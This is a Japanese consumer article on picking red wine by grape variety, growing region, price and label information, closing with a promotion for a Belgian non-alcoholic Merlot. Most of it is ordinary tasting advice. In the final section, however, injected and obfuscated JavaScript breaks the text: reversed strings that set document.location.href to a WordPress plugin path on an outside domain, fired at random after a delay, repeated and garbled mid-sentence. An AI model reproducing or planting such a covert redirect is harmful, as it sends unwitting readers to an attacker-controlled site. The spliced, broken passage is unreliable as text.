好みにぴったりのワインを選ぶ方法【赤ワイン編】
「ワインを買おうとワインショップに行ったけれど、たくさんワインがあり過ぎてどれを選んだらいいかわからず、結局適当に購入してしまった…」、という経験はありませんか?
あるいは、「せっかく購入したワインが、好みの味でなかった」ということもあるかもしれませんね。
今回は、ワインショップに並ぶたくさんのワインの中から、自分好みの一本を選ぶコツをお届けします!今回はこれからの季節にピッタリの赤ワイン編です。
◇ブドウ品種で選ぼう
赤ワインの味わいを決定する際の一番のポイントになるのがブドウ品種。好みの1本を選ぶには、外せない要素です。
ここでは、赤ワインに使用される代表的なブドウ品種を取り上げて、味わいの特徴を解説してみました。
また、それぞれのブドウ品種について、味わいの強さ(ボディ)と渋みを5段階チャートで表してみました。参考にしてくださいね!
・カベルネソーヴィニョン
ボディ(軽い〜重い) ★★★★★
渋み(まろやか〜しっかり)★★★★★
深みのある色合いに、ブルーベリーやブラックベリーなど黒系果実の濃厚なフレーバーと、杉やミント、ユーカリの香り。しっかりとした渋みとシャープな酸味を持つ重厚で飲みごたえのあるカベルネソーヴィニョンの味わいは、まさに私たちがイメージするザ・赤ワインです。
原産地であるフランスのボルドー地方左岸では、メルローやカベルネフランなどとブレンドされて使用され、1000円台のテーブルワインから、1本数十万円するシャトーものの超高級ワインまで、さまざまな価格帯のワインが作られています。現在は国際品種として世界中で生産されており、特に、アメリカのカリフォルニア、チリ、南アフリカ、オーストラリア、アルゼンチンなどで良質でリーズナブルな価格のカベルネが作られています。
・メルロー
ボディ(軽い〜重い) ★★★★☆
渋み(まろやか〜しっかり)★★★☆☆
カベルネと同じくフランスのボルドー地方原産のブドウです。
果皮が薄く果粒が大きいためタンニンは柔らかく、黒・赤果実のフレーバーたっぷり。若いうちから飲みやすい、ふくよかな味わいのワインになるのが特徴で、渋みの強い渋い赤ワインが苦手な方にも美味しく楽しんでいただけるブドウ品種です。
涼しい気候の下でも果実が成熟するため産地を選ばず、多産で病害虫にも強いため、現在では国際品種として世界中のワイン生産地で栽培されています。
名産地はフランス・ボルドー右岸で、世界に名だたる高級メルローが生産されているほか、イタリア北部のボルゲリや、日本の長野県も良質のメルローの産地として有名です。
それ以外にも、アメリカ、オーストラリア、ニュージーランド、チリなどの地域でリーズナブルで美味しいメルローが生産されています。
・シラー
ボディ(軽い〜重い) ★★★★★
渋み(まろやか〜しっかり)★★★★☆
原産地は南仏のコート・デュ・ローヌ。ブラックチェリーなどの黒系果実の濃厚でジューシーな果実味と、黒コショウを思わせるパンチの効いたスパイシーさを持った個性的なブドウ品種がシラーです。小粒で果皮が厚いブドウのため、深い紫色とタンニン由来の豊かな渋みを持つ、しっかりした味わいのワインを生みます。
名産地であるローヌ北部やオーストラリアのバロッサ・ヴァレーでは、シラーから長期熟成型の最高級ワインが作られる一方、栽培が比較的簡単なため世界中で栽培されており、コスパの高いデイリーワインの原料ブドウとして使用されています。
・ピノノワール
ボディ(軽い〜重い) ★★★☆☆
渋み(まろやか〜しっかり)★★☆☆☆
ピノノワールは、フランスはブルゴーニュ地方原産のブドウ品種。
透明感のあるルビー色に、ラズベリー、イチゴやチェリーなど赤系果実のチャーミングな香り。タンニンは比較的少なく、ライトボディ~ミディアムボディの軽やかな口当たりのピノノワールは、パワフルで濃厚なカベルネソーヴィニヨンと対極的な味わいで、赤ワインが苦手という方にも飲みやすいワインです。
しかし、丁寧な栽培・醸造を経て作られたピノノワールからは、世界で最も高価なワインとして知られるブルゴーニュのロマネ・コンティをはじめ、ジュヴレ・シャンヴェルタンやシャンボール・ミュジニーなど、ワインファン憧れの最高級赤ワインが作られることでも知られており、栽培地や作り手の個性を大きく反映するブドウ品種といえます。
長らくブルゴーニュ地方以外の地域では栽培が難しいといわれてきましたが、近年、アメリカのオレゴン州やニュージーランドでも非常に高品質のピノノワールが作られるようになりました。それ以外では、フランスのアルザス地方、ドイツやルーマニアでも美味しいピノノワールが作られています。
・ガメイ
ボディ(軽い〜重い) ★★☆☆☆
渋み(まろやか〜しっかり)★☆☆☆☆
毎年11月の3週目にリリースされるボジョレーヌーヴォーのブドウ品種としてよく知られるのがガメイです。
原産地はフランス・ブルゴーニュ地方のボジョレー地区。現在でもこのエリアが一大産地で、ほかにはロワール地方で生産されています。フランス産以外のものはほとんどありません。
果皮が薄く粒が大きいことから、色素の抽出が少なくなるためワインの色調は明るく、タンニンも控えめです。
ボジョレーやボジョレー・ヴィラージュといった一般的によく見かけるガメイのワインは、カルボニックマセラシオンという特殊な製法で作られています。カルボニックマセラシオンに由来するイチゴジャムのような華やかな香りとチャーミングな酸味の軽やかな飲み心地で、「渋い赤ワインは苦手…」という方にはもってこいの飲みやすいワインです。
しかし、限られた10の村でのみ作られる「クリュ・ボージョレー」というワインや、ロワール地方で作られるガメイのワインは、同じガメイで作られたとは思えない、ジューシーな果実味とタンニンを備えたミディアムボディの味わいとなります。
なので、ガメイのワインを選ぶ際は、自分の好みによって、産地が「ボジョレー/ボジョレー・ヴィラージュ」なのか「クリュ・ボージョレー」もしくはロワールなのかをよく見て購入すると良いですね。
・サンジョヴェーゼ
ボディ(軽い〜重い) ★★★☆☆
渋み(まろやか〜しっかり)★★★☆☆
イタリアを代表するブドウ品種がサンジョヴェーゼ。イタリア中部のトスカーナ州が原産地です。
サンジョヴェーゼを使ったワインにはさまざまなスタイルがあり、産地や種類によってワインの味わいはかなり異なりますが、日本で最も知られているのは有名な「キャンティ」です。その昔、藁で巻かれたフィアスコというボトルに入れられて販売されていたのを覚えている方も多いのでは。
キャンティは、19世紀後半にトスカーナのリカゾーリ男爵により考案されたワインで、そのままでは固くて飲みにくいサンジョヴェーゼに、カナイオーロ、マルヴァジアといったブドウを混醸することで風味を高めて飲みやすくしたワインです。
明るいルビー色に、サンジョヴェーゼの特徴であるレッドチェリーのような赤果実とスミレの香り、豊かな酸味が特徴のキャンティは、フレッシュな口当たりの安くて美味しいデイリーワインとして世界的な人気を呼びました。
また、キャンティには、「キャンティ・クラシコ」という種類もあり、こちらはサンジョヴェーゼの使用比率や最低熟成期間がキャンティより厳しく決められており、キャンティよりも濃厚でしっかりとした味わいが楽しめます。
「ブルネッロ・ディ・モンタルチーノ」は、同じサンジョヴェーゼから作られるワインですが、プラムのような濃厚な香りとキメ細かで力強いタンニンの長期熟成型高級ワインです。
その他にも、スーパートスカーナといわれる高級テーブルワインの中には、サンジョヴェーゼにフランス系の国際品種をブレンドしてさらに凝縮感を高めたワインが存在するなど、チープなワインから超高級ワインまでさまざまな味わいの変化を見せるのがサンジョヴェーゼの面白さです。
・ジンファンデル
ボディ(軽い〜重い) ★★★★★
渋み(まろやか〜しっかり)★★★☆☆
アメリカのワイン産地として知られるカリフォルニア州で、カベルネソーヴィニヨンと並ぶ主要品種として栽培されているのがジンファンデル。
原産地はクロアチアといわれており、南イタリアでは同じブドウがプリミティーヴォという名前で栽培されています。
完熟したジンファンデルから作られるワインは色が濃く、カシスやチェリーのような豊かな赤果実の味わいや、クミンや黒こしょうを思わせるスパイスの香りが感じられ、濃厚な凝縮感があってパワフルです。
糖度が高いブドウのためアルコール度数が高くなりやすく、長期熟成にも向くワインです。
まとめると、赤ワインらしいしっかりしたボディと渋みを楽しみたいなら、カベルネソーヴィニヨンやシラーがおすすめです。
ボリューム感のある濃厚なワインが好きならジンファンデル。まろやかな口当たりが好みならメルロが良いでしょう。
また、赤ワインは渋みが強くて苦手という方も、ピノノワールやガメイを使ったワインなら楽しめそうです。サンジョヴェーゼも良さそうですね。
◇産地も考慮しよう
ワインの味わいを考える際に、ブドウ品種とともに考慮したいのはワインの生産地。
ついブドウ品種名ばかりに注目しがちですが、同じブドウ品種でも、育った地域によって、できあがるワインには大きな違いが生じるのです。
例えば、カベルネソーヴィニヨンの場合、カベルネがもともと持っている黒系果実のフレーバーや、杉・ユーカリのような香り、しっかりとしたタンニンといった品種的な特徴はどのような産地で作られても共通しています。
しかし、チリやアメリカなどの温かい産地で作られたカベルネの場合、果実味は濃厚で香りの要素が強く、渋みもしっかりとして、ボリューム感のある味わいになります。
反対に、フランス・ボルドー地方などそれより冷涼な地域で作られたカベルネは、しっかりとした酸が感じられて、タンニンは控えめ、アルコール度も低め、すっきりと上品な味わいとなるのです。
このように、濃厚なワインが好きか、エレガントで品のある味わいが好きかによって、生産地を選び分けると、さらに自分のテイストにあったワインを選べる可能性が高まります。
ここでは、世界の有名なワイン産地の気候や、味わいの特徴についてみてみましょう。
・フランス
古くからのワイン名産地として知られるフランス。数あるワイン産地の中でも有名なのは、ピノノワールを産出するブルゴーニュと、カベルネソーヴィニヨンやメルローで知られるボルドー地方です。
これらの地域は冷涼~やや温暖に区分され、ワインはエレガントなスタイルになるのが特徴です。
また、南仏エリアは、フランス国内でもボルドーに次ぐワイン生産量を誇る地域です。
シラーの生産で知られる南仏・ローヌ北部は、大陸性気候による激しい気温の変化によって生み出される引締まったボディが魅力の力強いシラーで知られます。
その南側のラングドック・ルーションやプロヴァンスは温かい地中海性気候。たっぷりとした果実味とふくよかな甘みのある、わかりやすい味わいの美味しいワインが作られます。ロゼワインの産地としても知られていますね。
・イタリア
縦に1200Kmにもなる細長い国土のイタリア。南北で気候風土はかなり異なり、ワインの味わいも多様です。
アルプスの山岳地帯の影響を受けるイタリア北部は冷涼な気候で、バローロやバルバレスコをはじめとした、凝縮感あふれる高品質ワインの産地です。
イタリア中部は大陸性気候の内陸エリアがワインの主産地となっており、デイリーワインから長期熟成タイプの高級ワインまで、さまざまなスタイルのワインが作られます。
イタリア南部は温暖な地中海性気候で、ブドウの栽培に適した環境のためワインの生産量が大変多い地域。果実味たっぷりでわかりやすい味わいの、デイリーに楽しむお手軽ワインの大産地です。
・スペイン
日照に恵まれたスペインは、気候的にブドウ栽培に大変適しており、各地でワインが生産されています。近年は新しい生産技術の導入により、リーズナブルでありながら味わいの良い高品質なワインの産地として評価が高まっているエリアです。
北東部の高地にあり冷涼な気候のリオハは、テンプラニーリョというブドウを使った高級赤ワインの産地として知られています。
・アメリカ
「新世界」と呼ばれる、ヨーロッパ以外の新興ワイン産地の中では比較的古い歴史を持つのがアメリカ。西海岸沿岸が主なワインの産地となっています。
中でも、アメリカ全体の90%のワインを生産するカリフォルニア州は、温暖な気候のためブドウが完熟しやすく、濃厚な果実味をしっかりと味わえるリッチな味わいのワインができます。
カベルネソーヴィニヨン、メルロー、ジンファンデルなどの品種が栽培されています。
・チリ
近年、安うまワインの代名詞となっているのがチリワイン。実は、現在日本に輸入されているワインで一番多いのはチリワインなのです。
地中海性気候に恵まれる温暖なチリは、ブドウの生育期に雨が降らないため病害虫の心配がなく、また、アンデス山脈の影響で日中と夜間の寒暖の差が大きいため、ブドウ作りに大変適した地域。製造コストも安いため、完熟したブドウからお値打ちワインが作られています。
国土が南北に長くさまざまな気候があるため、いろいろなブドウ品種が栽培されていますが、特に高品質で知られるのがカベルネソーヴィニヨン。しっかり熟した芳醇な味わいが楽しめます。
・オーストラリア
新世界のワイン産地の中でも新しい産地のオーストラリア。長い間、甘口ワインと酒精強化ワインの産地でしたが、1980年代頃から資本投入による急速な品質向上がみられ、世界的なワイン産地の仲間入りを果たしました。
もともと、バロッサ・ヴァレーなど温暖な地域で作られる濃厚でパワフルなシラーズ(シラーのオーストラリア名)で知られていましたが、最近では、冷涼なヴィクトリア州やタスマニア島で作られる繊細な味わいのピノノワールでも注目されています。
・ニュージーランド
新世界のワイン産地の中で、近年、世界的に評価が上がってきているのがニュージーランド。1980年代にニュージーランド産のワインがワインの国際コンクールで最優秀賞受賞したのを皮切りに、世界の注目を集めるようになりました。
温暖な北島では、カベルネソーヴィニヨンやメルロが、冷涼な南島ではピノノワールが作られており、いずれも豊かな果実味を持ちながら、しっかりとした酸を保持したエレガントなスタイルが特徴です。
・南アフリカ
新興のワイン産地のイメージの南アフリカですが、ワイン作りが始まったのは実は17世紀。1990年代にアパルトヘイトが廃止され、南アフリカワインが世界へ輸出されるようになったことで近年急速に注目を集めるようになりました。
ワイン作りの中心地で、9割のブドウを生産する西ケープ州は、温暖な地中海性気候。ブドウの生育・収穫期である春から秋にかけて、乾燥した晴天が続くためしっかりブドウが完熟し、凝縮した美味しいワインが生産されます。
また、春から夏にかけて南東から吹く「ケープドクター」と呼ばれる強風がブドウを乾燥させてカビや害虫から守ってくれるため、殺虫剤などの使用を最小限に抑えた環境に優しいワイン作りができるのも特徴です。
ステレンボッシュがカベルネソーヴィニヨンの名産地として知られるほか、南仏品種のシラーやグルナッシュ、南アフリカ独自のブドウ品種であるピノタージュなどが栽培されています。
濃厚な味わいのワインがお好きな方であれば、アメリカやチリに代表される新興の産地のワインがおすすめ。安価にもかかわらずしっかりとした果実味や凝縮感があり、コスパがいい傾向があります。
また、エレガンスあふれる繊細な味わいが好みであれば、フランスワインや、新興産地の中でも冷涼エリアニュージーランドのワインを選びましょう。
品種だけでなく産地も考慮して、自分の好みに合う1本を選んでみてくださいね。
◇価格も参考にしよう!
ワインを購入する時には、皆様必ず価格をチェックされると思いますが、実は、価格はワインの味わいにも大きく影響をしています。
というのも、一般的に価格が手ごろなワインは、機械でブドウを摘み取り、搾り取った果実に果皮を漬け込む「醸し」の時間も短いため、渋みが控えめで果実味の強いフルーティな味わいの早飲みタイプが多いのです。
反対に価格が高いワインは、ブドウの木に実る房の数を制限して味わいを凝縮させ、また、完熟したブドウだけを厳しく選別し使用し、「醸し」にもより長い時間をかけて作ります。
そのため、ブドウの果皮や種に熟成にしっかり蓄えられたタンニンを始めとする様々な成分がワインにしっかり抽出されて、渋みが強く厚みのある味わいのワインとなるのです。
750mlボトルで言うなら、コンビニやスーパーなどで売っている1000-2000円程度のワインは、お値段なりのおいしさ。アメリカやチリなど、コスパの良い新世界産地のワインを選べば、外れが少ないでしょう。
2000-5000円なら、赤ワインならではのしっかりしたタンニンや複雑な香りもある、ちょっと贅沢したい時にもピッタリのワインが選べます。
5000円以上は長期熟成も可能なワイン通のためのワインと考えるとよいでしょう。
◇裏ラベルや、ショップのPOPにもヒントあり
最近では、大手メーカーが販売するワインには、裏ラベルに味わいのスケールの記載がある場合があり、好みの味わいを選ぶための参考になります。
赤ワインの場合、
・ボディ(軽い〜重い)
・渋み(まろやか〜しっかり)
の2つ が示されているケースが多いです。メーカーによっては、さらに甘辛度(甘口〜辛口)が記載されている場合もあります。
また、ワインショップによっては、商品のプライスカードやPOPに味わいを紹介するコメントが記載されています。
品種名や生産地とともに、ショップのコメントも参考にすると、より的確なワイン選びができそうですね。
ワインに特化したこだわりのお店であれば、店員さんに予算や好みを伝えて、おすすめの品をアドバイスしてもらっても良いでしょう。
これらの情報を参考にしてワインを選べば、次回はより自分の好みにあった一本が見つかるはずですよ!
◇ノンアルコールの赤ワイン。味わいはどんな感じ?
さて、赤ワイン好きの皆様も、時にはワインは控えてノンアルコールで我慢しなくてはいけない時があると思います。
そんな時に役立ててもらいたいのが、ノンアルコールの赤ワイン。
Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreでは、ベルギーのネオブュル社のノンアルコール赤ワイン”ヴィンテンス メルロー” を取扱中です。
ネオブュル社では、真空状態で蒸留ができる特殊な設備を使用し、通常アルコールが蒸発する温度(78℃)よりはるかに低い32℃という低温でベースワインを蒸留。
ワイン本来が持つアロマやフレーバーを守りながら、アルコールだけを0.0%まで除去しました。
なので、ノンアルコールにも関わらず、本物のワインを思わせる味わいです。